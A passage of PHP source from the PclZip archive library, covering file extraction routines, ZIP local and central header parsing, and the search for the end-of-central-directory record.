!= "")) { if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header['stored_filename'])) { $v_extract = true; } } */ // ----- Look for extract by preg rule else if ( (isset($p_options[PCLZIP_OPT_BY_PREG])) && ($p_options[PCLZIP_OPT_BY_PREG] != "")) { if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) { $v_extract = true; } } // ----- Look for extract by index rule else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX])) && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) { // ----- Look if the index is in the list for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_extract); $j++) { if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) { $v_extract = true; } if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) { $j_start = $j+1; } if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) { break; } } } // ----- Look for no rule, which means extract all the archive else { $v_extract = true; } // ----- Check compression method if ( ($v_extract) && ( ($v_header['compression'] != 8) && ($v_header['compression'] != 0))) { $v_header['status'] = 'unsupported_compression'; // ----- Look for PCLZIP_OPT_STOP_ON_ERROR if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION, "Filename '".$v_header['stored_filename']."' is " ."compressed by an unsupported compression " ."method (".$v_header['compression'].") "); return PclZip::errorCode(); } } // ----- Check encrypted files if (($v_extract) && (($v_header['flag'] & 1) == 1)) { $v_header['status'] = 'unsupported_encryption'; // ----- Look for PCLZIP_OPT_STOP_ON_ERROR if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, "Unsupported encryption for " ." filename '".$v_header['stored_filename'] ."'"); return PclZip::errorCode(); } } // ----- Look for real extraction if (($v_extract) && ($v_header['status'] != 'ok')) { $v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++]); if ($v_result != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } $v_extract = false; } // ----- Look for real extraction if ($v_extract) { // ----- Go to the file position @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_header['offset'])) { // ----- Close the zip file $this->privCloseFd(); $this->privSwapBackMagicQuotes(); // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); // ----- Return return PclZip::errorCode(); } // ----- Look for extraction as string if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) { $v_string = ''; // ----- Extracting the file $v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options); if ($v_result1 < 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result1; } // ----- Get the only interesting attributes if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1) { // ----- Close the zip file $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } // ----- Set the file content $p_file_list[$v_nb_extracted]['content'] = $v_string; // ----- Next extracted file $v_nb_extracted++; // ----- Look for user callback abort if ($v_result1 == 2) { break; } } // ----- Look for extraction in standard output elseif ( (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) && ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) { // ----- Extracting the file in standard output $v_result1 = $this->privExtractFileInOutput($v_header, $p_options); if ($v_result1 < 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result1; } // ----- Get the only interesting attributes if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } // ----- Look for user callback abort if ($v_result1 == 2) { break; } } // ----- Look for normal extraction else { // ----- Extracting the file $v_result1 = $this->privExtractFile($v_header, $p_path, $p_remove_path, $p_remove_all_path, $p_options); if ($v_result1 < 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result1; } // ----- Get the only interesting attributes if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) { // ----- Close the zip file $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } // ----- Look for user callback abort if ($v_result1 == 2) { break; } } } } // ----- Close the zip file $this->privCloseFd(); $this->privSwapBackMagicQuotes(); // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privExtractFile() // Description : // Parameters : // Return Values : // // 1 : ... ? // PCLZIP_ERR_USER_ABORTED(2) : User ask for extraction stop in callback // -------------------------------------------------------------------------------- function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options) { $v_result=1; // ----- Read the file header if (($v_result = $this->privReadFileHeader($v_header)) != 1) { // ----- Return return $v_result; } // ----- Check that the file header is coherent with $p_entry info if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { // TBC } // ----- Look for all path to remove if ($p_remove_all_path == true) { // ----- Look for folder entry that not need to be extracted if (($p_entry['external']&0x00000010)==0x00000010) { $p_entry['status'] = "filtered"; return $v_result; } // ----- Get the basename of the path $p_entry['filename'] = basename($p_entry['filename']); } // ----- Look for path to remove else if ($p_remove_path != "") { if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2) { // ----- Change the file status $p_entry['status'] = "filtered"; // ----- Return return $v_result; } $p_remove_path_size = strlen($p_remove_path); if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path) { // ----- Remove the path $p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size); } } // ----- Add the path if ($p_path != '') { $p_entry['filename'] = $p_path."/".$p_entry['filename']; } // ----- Check a base_dir_restriction if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) { $v_inclusion = PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION], $p_entry['filename']); if ($v_inclusion == 0) { PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION, "Filename '".$p_entry['filename']."' is " ."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION"); return PclZip::errorCode(); } } // ----- Look for pre-extract callback if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { // ----- Generate a local information $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); // ----- Call the callback // Here I do not use call_user_func() because I need to send a reference to the // header. $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); if ($v_result == 0) { // ----- Change the file status $p_entry['status'] = "skipped"; $v_result = 1; } // ----- Look for abort result if ($v_result == 2) { // ----- This status is internal and will be changed in 'skipped' $p_entry['status'] = "aborted"; $v_result = PCLZIP_ERR_USER_ABORTED; } // ----- Update the informations // Only some fields can be modified $p_entry['filename'] = $v_local_header['filename']; } // ----- Look if extraction should be done if ($p_entry['status'] == 'ok') { // ----- Look for specific actions while the file exist if (file_exists($p_entry['filename'])) { // ----- Look if file is a directory if (is_dir($p_entry['filename'])) { // ----- Change the file status $p_entry['status'] = "already_a_directory"; // ----- Look for PCLZIP_OPT_STOP_ON_ERROR // For historical reason first PclZip implementation does not stop // when this kind of error occurs. if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY, "Filename '".$p_entry['filename']."' is " ."already used by an existing directory"); return PclZip::errorCode(); } } // ----- Look if file is write protected else if (!is_writeable($p_entry['filename'])) { // ----- Change the file status $p_entry['status'] = "write_protected"; // ----- Look for PCLZIP_OPT_STOP_ON_ERROR // For historical reason first PclZip implementation does not stop // when this kind of error occurs. if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, "Filename '".$p_entry['filename']."' exists " ."and is write protected"); return PclZip::errorCode(); } } // ----- Look if the extracted file is older else if (filemtime($p_entry['filename']) > $p_entry['mtime']) { // ----- Change the file status if ( (isset($p_options[PCLZIP_OPT_REPLACE_NEWER])) && ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) { } else { $p_entry['status'] = "newer_exist"; // ----- Look for PCLZIP_OPT_STOP_ON_ERROR // For historical reason first PclZip implementation does not stop // when this kind of error occurs. if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, "Newer version of '".$p_entry['filename']."' exists " ."and option PCLZIP_OPT_REPLACE_NEWER is not selected"); return PclZip::errorCode(); } } } else { } } // ----- Check the directory availability and create it if necessary else { if ((($p_entry['external']&0x00000010)==0x00000010) || (substr($p_entry['filename'], -1) == '/')) $v_dir_to_check = $p_entry['filename']; else if (!strstr($p_entry['filename'], "/")) $v_dir_to_check = ""; else $v_dir_to_check = dirname($p_entry['filename']); if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external']&0x00000010)==0x00000010))) != 1) { // ----- Change the file status $p_entry['status'] = "path_creation_fail"; // ----- Return //return $v_result; $v_result = 1; } } } // ----- Look if extraction should be done if ($p_entry['status'] == 'ok') { // ----- Do the extraction (if not a folder) if (!(($p_entry['external']&0x00000010)==0x00000010)) { // ----- Look for not compressed file if ($p_entry['compression'] == 0) { // ----- Opening destination file if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) { // ----- Change the file status $p_entry['status'] = "write_error"; // ----- Return return $v_result; } // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks $v_size = $p_entry['compressed_size']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($this->zip_fd, $v_read_size); /* Try to speed up the code $v_binary_data = pack('a'.$v_read_size, $v_buffer); @fwrite($v_dest_file, $v_binary_data, $v_read_size); */ @fwrite($v_dest_file, $v_buffer, $v_read_size); $v_size -= $v_read_size; } // ----- Closing the destination file fclose($v_dest_file); // ----- Change the file mtime touch($p_entry['filename'], $p_entry['mtime']); } else { // ----- TBC // Need to be finished if (($p_entry['flag'] & 1) == 1) { PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \''.$p_entry['filename'].'\' is encrypted. Encrypted files are not supported.'); return PclZip::errorCode(); } // ----- Look for using temporary file to unzip if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry['size'])) ) ) { $v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options); if ($v_result < PCLZIP_ERR_NO_ERROR) { return $v_result; } } // ----- Look for extract in memory else { // ----- Read the compressed file in a buffer (one shot) $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']); // ----- Decompress the file $v_file_content = @gzinflate($v_buffer); unset($v_buffer); if ($v_file_content === FALSE) { // ----- Change the file status // TBC $p_entry['status'] = "error"; return $v_result; } // ----- Opening destination file if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) { // ----- Change the file status $p_entry['status'] = "write_error"; return $v_result; } // ----- Write the uncompressed data @fwrite($v_dest_file, $v_file_content, $p_entry['size']); unset($v_file_content); // ----- Closing the destination file @fclose($v_dest_file); } // ----- Change the file mtime @touch($p_entry['filename'], $p_entry['mtime']); } // ----- Look for chmod option if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) { // ----- Change the mode of the file @chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]); } } } // ----- Change abort status if ($p_entry['status'] == "aborted") { $p_entry['status'] = "skipped"; } // ----- Look for post-extract callback elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { // ----- Generate a local information $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); // ----- Call the callback // Here I do not use call_user_func() because I need to send a reference to the // header. $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); // ----- Look for abort result if ($v_result == 2) { $v_result = PCLZIP_ERR_USER_ABORTED; } } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privExtractFileUsingTempFile() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privExtractFileUsingTempFile(&$p_entry, &$p_options) { $v_result=1; // ----- Creates a temporary file $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz'; if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) { fclose($v_file); PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode'); return PclZip::errorCode(); } // ----- Write gz file format header $v_binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($p_entry['compression']), Chr(0x00), time(), Chr(0x00), Chr(3)); @fwrite($v_dest_file, $v_binary_data, 10); // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks $v_size = $p_entry['compressed_size']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($this->zip_fd, $v_read_size); //$v_binary_data = pack('a'.$v_read_size, $v_buffer); @fwrite($v_dest_file, $v_buffer, $v_read_size); $v_size -= $v_read_size; } // ----- Write gz file format footer $v_binary_data = pack('VV', $p_entry['crc'], $p_entry['size']); @fwrite($v_dest_file, $v_binary_data, 8); // ----- Close the temporary file @fclose($v_dest_file); // ----- Opening destination file if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) { $p_entry['status'] = "write_error"; return $v_result; } // ----- Open the temporary gz file if (($v_src_file = @gzopen($v_gzip_temp_name, 'rb')) == 0) { @fclose($v_dest_file); $p_entry['status'] = "read_error"; PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode'); return PclZip::errorCode(); } // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks $v_size = $p_entry['size']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @gzread($v_src_file, $v_read_size); //$v_binary_data = pack('a'.$v_read_size, $v_buffer); @fwrite($v_dest_file, $v_buffer, $v_read_size); $v_size -= $v_read_size; } @fclose($v_dest_file); @gzclose($v_src_file); // ----- Delete the temporary file @unlink($v_gzip_temp_name); // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privExtractFileInOutput() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privExtractFileInOutput(&$p_entry, &$p_options) { $v_result=1; // ----- Read the file header if (($v_result = $this->privReadFileHeader($v_header)) != 1) { return $v_result; } // ----- Check that the file header is coherent with $p_entry info if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { // TBC } // ----- Look for pre-extract callback if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { // ----- Generate a local information $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); // ----- Call the callback // Here I do not use call_user_func() because I need to send a reference to the // header. // eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);'); $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); if ($v_result == 0) { // ----- Change the file status $p_entry['status'] = "skipped"; $v_result = 1; } // ----- Look for abort result if ($v_result == 2) { // ----- This status is internal and will be changed in 'skipped' $p_entry['status'] = "aborted"; $v_result = PCLZIP_ERR_USER_ABORTED; } // ----- Update the informations // Only some fields can be modified $p_entry['filename'] = $v_local_header['filename']; } // ----- Trace // ----- Look if extraction should be done if ($p_entry['status'] == 'ok') { // ----- Do the extraction (if not a folder) if (!(($p_entry['external']&0x00000010)==0x00000010)) { // ----- Look for not compressed file if ($p_entry['compressed_size'] == $p_entry['size']) { // ----- Read the file in a buffer (one shot) $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']); // ----- Send the file to the output echo $v_buffer; unset($v_buffer); } else { // ----- Read the compressed file in a buffer (one shot) $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']); // ----- Decompress the file $v_file_content = gzinflate($v_buffer); unset($v_buffer); // ----- Send the file to the output echo $v_file_content; unset($v_file_content); } } } // ----- Change abort status if ($p_entry['status'] == "aborted") { $p_entry['status'] = "skipped"; } // ----- Look for post-extract callback elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { // ----- Generate a local information $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); // ----- Call the callback // Here I do not use call_user_func() because I need to send a reference to the // header. $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); // ----- Look for abort result if ($v_result == 2) { $v_result = PCLZIP_ERR_USER_ABORTED; } } return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privExtractFileAsString() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privExtractFileAsString(&$p_entry, &$p_string, &$p_options) { $v_result=1; // ----- Read the file header $v_header = array(); if (($v_result = $this->privReadFileHeader($v_header)) != 1) { // ----- Return return $v_result; } // ----- Check that the file header is coherent with $p_entry info if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { // TBC } // ----- Look for pre-extract callback if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { // ----- Generate a local information $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); // ----- Call the callback // Here I do not use call_user_func() because I need to send a reference to the // header. $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); if ($v_result == 0) { // ----- Change the file status $p_entry['status'] = "skipped"; $v_result = 1; } // ----- Look for abort result if ($v_result == 2) { // ----- This status is internal and will be changed in 'skipped' $p_entry['status'] = "aborted"; $v_result = PCLZIP_ERR_USER_ABORTED; } // ----- Update the informations // Only some fields can be modified $p_entry['filename'] = $v_local_header['filename']; } // ----- Look if extraction should be done if ($p_entry['status'] == 'ok') { // ----- Do the extraction (if not a folder) if (!(($p_entry['external']&0x00000010)==0x00000010)) { // ----- Look for not compressed file // if ($p_entry['compressed_size'] == $p_entry['size']) if ($p_entry['compression'] == 0) { // ----- Reading the file $p_string = @fread($this->zip_fd, $p_entry['compressed_size']); } else { // ----- Reading the file $v_data = @fread($this->zip_fd, $p_entry['compressed_size']); // ----- Decompress the file if (($p_string = @gzinflate($v_data)) === FALSE) { // TBC } } // ----- Trace } else { // TBC : error : can not extract a folder in a string } } // ----- Change abort status if ($p_entry['status'] == "aborted") { $p_entry['status'] = "skipped"; } // ----- Look for post-extract callback elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { // ----- Generate a local information $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); // ----- Swap the content to header $v_local_header['content'] = $p_string; $p_string = ''; // ----- Call the callback // Here I do not use call_user_func() because I need to send a reference to the // header. $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); // ----- Swap back the content to header $p_string = $v_local_header['content']; unset($v_local_header['content']); // ----- Look for abort result if ($v_result == 2) { $v_result = PCLZIP_ERR_USER_ABORTED; } } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privReadFileHeader() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privReadFileHeader(&$p_header) { $v_result=1; // ----- Read the 4 bytes signature $v_binary_data = @fread($this->zip_fd, 4); $v_data = unpack('Vid', $v_binary_data); // ----- Check signature if ($v_data['id'] != 0x04034b50) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure'); // ----- Return return PclZip::errorCode(); } // ----- Read the first 42 bytes of the header $v_binary_data = fread($this->zip_fd, 26); // ----- Look for invalid block size if (strlen($v_binary_data) != 26) { $p_header['filename'] = ""; $p_header['status'] = "invalid_header"; // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data)); // ----- Return return PclZip::errorCode(); } // ----- Extract the values $v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data); // ----- Get filename $p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']); // ----- Get extra_fields if ($v_data['extra_len'] != 0) { $p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']); } else { $p_header['extra'] = ''; } // ----- Extract properties $p_header['version_extracted'] = $v_data['version']; $p_header['compression'] = $v_data['compression']; $p_header['size'] = $v_data['size']; $p_header['compressed_size'] = $v_data['compressed_size']; $p_header['crc'] = $v_data['crc']; $p_header['flag'] = $v_data['flag']; $p_header['filename_len'] = $v_data['filename_len']; // ----- Recuperate date in UNIX format $p_header['mdate'] = $v_data['mdate']; $p_header['mtime'] = $v_data['mtime']; if ($p_header['mdate'] && $p_header['mtime']) { // ----- Extract time $v_hour = ($p_header['mtime'] & 0xF800) >> 11; $v_minute = ($p_header['mtime'] & 0x07E0) >> 5; $v_seconde = ($p_header['mtime'] & 0x001F)*2; // ----- Extract date $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980; $v_month = ($p_header['mdate'] & 0x01E0) >> 5; $v_day = $p_header['mdate'] & 0x001F; // ----- Get UNIX date format $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year); } else { $p_header['mtime'] = time(); } // TBC //for(reset($v_data); $key = key($v_data); next($v_data)) { //} // ----- Set the stored filename $p_header['stored_filename'] = $p_header['filename']; // ----- Set the status field $p_header['status'] = "ok"; // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privReadCentralFileHeader() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privReadCentralFileHeader(&$p_header) { $v_result=1; // ----- Read the 4 bytes signature $v_binary_data = @fread($this->zip_fd, 4); $v_data = unpack('Vid', $v_binary_data); // ----- Check signature if ($v_data['id'] != 0x02014b50) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure'); // ----- Return return PclZip::errorCode(); } // ----- Read the first 42 bytes of the header $v_binary_data = fread($this->zip_fd, 42); // ----- Look for invalid block size if (strlen($v_binary_data) != 42) { $p_header['filename'] = ""; $p_header['status'] = "invalid_header"; // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data)); // ----- Return return PclZip::errorCode(); } // ----- Extract the values $p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data); // ----- Get filename if ($p_header['filename_len'] != 0) $p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']); else $p_header['filename'] = ''; // ----- Get extra if ($p_header['extra_len'] != 0) $p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']); else $p_header['extra'] = ''; // ----- Get comment if ($p_header['comment_len'] != 0) $p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']); else $p_header['comment'] = ''; // ----- Extract properties // ----- Recuperate date in UNIX format //if ($p_header['mdate'] && $p_header['mtime']) // TBC : bug : this was ignoring time with 0/0/0 if (1) { // ----- Extract time $v_hour = ($p_header['mtime'] & 0xF800) >> 11; $v_minute = ($p_header['mtime'] & 0x07E0) >> 5; $v_seconde = ($p_header['mtime'] & 0x001F)*2; // ----- Extract date $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980; $v_month = ($p_header['mdate'] & 0x01E0) >> 5; $v_day = $p_header['mdate'] & 0x001F; // ----- Get UNIX date format $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year); } else { $p_header['mtime'] = time(); } // ----- Set the stored filename $p_header['stored_filename'] = $p_header['filename']; // ----- Set default status to ok $p_header['status'] = 'ok'; // ----- Look if it is a directory if (substr($p_header['filename'], -1) == '/') { //$p_header['external'] = 0x41FF0010; $p_header['external'] = 0x00000010; } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privCheckFileHeaders() // Description : // Parameters : // Return Values : // 1 on success, // 0 on error; // -------------------------------------------------------------------------------- function privCheckFileHeaders(&$p_local_header, &$p_central_header) { $v_result=1; // ----- Check the static values // TBC if ($p_local_header['filename'] != $p_central_header['filename']) { } if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) { } if ($p_local_header['flag'] != $p_central_header['flag']) { } if ($p_local_header['compression'] != $p_central_header['compression']) { } if ($p_local_header['mtime'] != $p_central_header['mtime']) { } if ($p_local_header['filename_len'] != $p_central_header['filename_len']) { } // ----- Look for flag bit 3 if (($p_local_header['flag'] & 8) == 8) { $p_local_header['size'] = $p_central_header['size']; $p_local_header['compressed_size'] = $p_central_header['compressed_size']; $p_local_header['crc'] = $p_central_header['crc']; } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privReadEndCentralDir() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privReadEndCentralDir(&$p_central_dir) { $v_result=1; // ----- Go to the end of the zip file $v_size = filesize($this->zipname); @fseek($this->zip_fd, $v_size); if (@ftell($this->zip_fd) != $v_size) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \''.$this->zipname.'\''); // ----- Return return PclZip::errorCode(); } // ----- First try : look if this is an archive with no commentaries (most of the time) // in this case the end of central dir is at 22 bytes of the file end $v_found = 0; if ($v_size > 26) { @fseek($this->zip_fd, $v_size-22); if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22)) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\''); // ----- Return return PclZip::errorCode(); } // ----- Read for bytes $v_binary_data = @fread($this->zip_fd, 4); $v_data = @unpack('Vid', $v_binary_data); // ----- Check signature if ($v_data['id'] == 0x06054b50) { $v_found = 1; } $v_pos = ftell($this->zip_fd); } // ----- Go back to the maximum possible size of the Central Dir End Record if (!$v_found) { $v_maximum_size = 65557; // 0xFFFF + 22; if ($v_maximum_size > $v_size) $v_maximum_size = $v_size; @fseek($this->zip_fd, $v_size-$v_maximum_size); if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size)) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\''); // ----- Return return PclZip::errorCode(); } // ----- Read byte per byte in order to find the signature $v_pos = ftell($this->zip_fd); $v_bytes = 0x00000000; while ($v_pos < $v_size) { // ----- Read a byte $v_byte = @fread($this->zip_fd, 1); // ----- Add the byte //$v_bytes = ($v_bytes << 8) | Ord($v_byte); // Note we mask the old value down such that once shifted we can never end up with more than a 32bit number // Otherwise on systems where we have 64bit integers the check below for the magic number will fail. $v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte); // ----- Compare the bytes if ($v_bytes == 0x504b0506) { $v_pos++; break; } $v_pos++; } // ----- Look if not found end of central dir if ($v_pos == $v_size) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature"); // ----- Return return PclZip::errorCode(); } } // ----- Read the first 18 bytes of the header $v_binary_data = fread($this->zip_fd, 18); // ----- Look for invalid block size if (strlen($v_binary_data) != 18) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data)); // ----- Return return PclZip::errorCode(); } // ----- Extract the values $v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data); // ----- Check the global size if (($v_pos + $v_data['comment_size'] + 18) != $v_size) { // ----- Removed in release 2.2 see readme file // The check of the file size is a little too strict. // Some bugs where found when a zip is encrypted/decrypted with 'crypt'. // While decrypted, zip has training 0 bytes if (0) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'The central dir is not at the end of the archive.' .' Some trailing bytes exists after the archive.'); // ----- Return return PclZip::errorCode(); } } // ----- Get comment if ($v_data['comment_size'] != 0) { $p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']); } else $p_central_dir['comment'] = ''; $p_central_dir['entries'] = $v_data['entries']; $p_central_dir['disk_entries'] = $v_data['disk_entries']; $p_central_dir['offset'] = 